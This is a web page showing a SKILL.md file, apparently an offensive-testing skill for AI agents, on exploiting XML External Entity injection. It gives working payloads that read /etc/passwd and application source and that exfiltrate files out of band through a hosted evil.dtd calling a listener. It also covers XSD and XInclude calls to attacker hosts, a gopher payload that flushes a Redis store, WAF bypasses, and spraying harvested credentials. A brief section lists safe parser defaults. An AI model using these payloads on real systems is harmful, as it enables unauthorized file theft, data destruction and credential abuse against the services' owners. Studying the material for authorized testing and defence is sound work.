跳到正文
FunCoding

web-xxe

XML External Entity injection detection→file-read/SSRF→proof for web apps. Use when the app parses XML you influence - SOAP/REST XML bodies, SAML, RSS/Atom, DOCX/XLSX/SVG/XML file uploads, sitemap import, SVG avatars. Triggers - Content-Type application/xml or text/xml, <?xml, SOAPAction header, SAMLResponse, .docx/.svg upload, XML parse error.

Star
1,278
许可证
MIT
最近提交
2026年11月30日

skills/web/xxe/SKILL.md

在 GitHub 上查看

XXE (XML External Entity)

When this fires

The server parses attacker-influenced XML: XML/SOAP APIs, SAML, RSS import, or office/SVG file uploads (DOCX/XLSX are zipped XML — inject into word/document.xml etc.).

Detect

<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<root>&x;</root>

If /etc/passwd comes back in the response → classic in-band XXE. No reflection → test blind (OOB) below.

Decide

  • Entity value reflected in a response field → in-band file read.
  • Not reflected but parser fetches your DTD → blind XXE → OOB exfil via external DTD.
  • Non-printable/multiline files break the parser → use php://filter base64 wrapper (PHP) to read source.
  • Entity fetches arbitrary URLs → XXE→SSRF (hit internal services / cloud metadata; see web-ssrf).

Exploit → PROVE IMPACT

<!-- source disclosure (PHP): -->
<!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><root>&x;</root>
<!-- blind OOB exfil (host evil.dtd on your listener): -->
<!DOCTYPE r [<!ENTITY % p SYSTEM "http://<OOB>/evil.dtd"> %p;]>
<!-- evil.dtd: -->
<!ENTITY % f SYSTEM "file:///etc/passwd">
<!ENTITY % e "<!ENTITY &#x25; x SYSTEM 'http://<OOB>/?d=%f;'>"> %e; %x;

Proof required: contents of a server file (/etc/passwd, app source, a secret) or a provable OOB fetch of a file's bytes. Read creds → add_credential + cred_spray.

Tooling

nuclei -tags xxe; for DOCX/XLSX: unzip, inject into the XML part, re-zip, upload. Host the OOB DTD on your attacker box (internal targets: transfer the listener inward).

False positives / pitfalls

  • Parser has external entities disabled → in-band fails; blind/parameter-entity variant may still work; if the DTD isn't fetched at all, it's patched.
  • WAF blocks <!DOCTYPE> → try UTF-16/UTF-7 encoding, or a nested/parameter-entity form.
  • Reflected-but-not-parsed input = not XXE.

2024-2025 additions

Modern parser defaults (mostly safe by default)

  • Java (JAXP / DocumentBuilderFactory / SAXParserFactory): setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) and setFeature("http://xml.org/sax/features/external-general-entities", false) are default in JDK 11+ / recent libraries. Check feature.setFeature("http://xml.org/sax/features/external-parameter-entities", false).
  • .NET (XmlReader / XmlDocument): XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit default in .NET 6+. XmlDocument.XmlResolver = null blocks DTD.
  • Python (defusedxml / lxml / xml.etree): defusedxml safe by default; lxml.etree.XMLParser(resolve_entities=False); xml.etree.ElementTree no network by default.
  • Go (encoding/xml): Decoder.Entity not set = no external entities. Safe by default.
  • Node.js (xmldom / libxmljs / fast-xml-parser): Most disable DTD by default; check DOMParser options.

Bypass techniques for hardened parsers

  • Parameter entities (blind XXE): Even if general entities blocked, parameter entities (<!ENTITY % p SYSTEM "..."> %p;) may still work for OOB.
  • expect / php:// / data: / jar: wrappers: If entity expansion works, try protocol handlers for SSRF/RCE.
  • XML Schema (XSD) xsi:schemaLocation: xsi:schemaLocation="ns http://attacker/evil.xsd" → parser fetches XSD → SSRF.
  • XInclude: <xi:include href="http://attacker/evil.xml" parse="xml"/> — if XInclude enabled.
  • SVG / Office XML: .svg (XML-based) → <image xlink:href="http://attacker/..."> or <use xlink:href="...">. .docx/.xlsx → unzip, inject into word/document.xml or xl/workbook.xml, re-zip.
  • SAML / WS-Federation: SAMLResponse / wst:RequestSecurityToken — signed XML; if signature validation skipped or cert trusted → XXE in assertion.

XXE → SSRF chains (2024)

  • Cloud metadata via XXE: file:///etc/passwd works, but http://169.254.169.254/latest/meta-data/ requires http/https scheme — some parsers block external HTTP but allow file. Try file:///proc/net/tcp for port scan.
  • gopher:// via XXE: gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a → Redis flush via XXE if parser supports gopher.
  • XXE in SOAP headers: wsse:Security / wsse:BinarySecurityToken — if parsed separately.

Tooling

  • nuclei -tags xxe (2024): xxe-file-read, xxe-blind-oob, xxe-ssrf, xxe-svg, xxe-docx, xxe-saml.
  • xxe-injector / XXEinjector (Ruby): Automated blind XXE exploitation with OOB DTD hosting.
  • OXID / XML External Entity Attack Burp extension: Auto-detect + exploit.
  • docx-xxe / xlsx-xxe scripts: Inject XXE into office docs.

相似的 Skill

精选

pptx

生成、读取和修改演示文稿,也能合并拆分幻灯片。

ANanthropics/skills203k近 7 天新增 2,822 个 star

精选

docx

创建和编辑 Word 文档,支持目录、页码、页眉等排版。

ANanthropics/skills203k近 7 天新增 2,822 个 star

精选

pdf

提取文本和表格、合并拆分、填写表单,也能对扫描件做 OCR。

ANanthropics/skills203k近 7 天新增 2,822 个 star

精选

doc-coauthoring

按步骤协作撰写技术方案、提案和决策文档,逐轮修改。

ANanthropics/skills203k近 7 天新增 2,822 个 star

精选

xlsx

读写 Excel 和 CSV,处理公式、格式、图表与数据清洗。

ANanthropics/skills203k近 7 天新增 2,822 个 star

精选

canvas-design

按设计理念生成海报和视觉作品,输出 PNG 或 PDF。

ANanthropics/skills203k近 7 天新增 2,822 个 star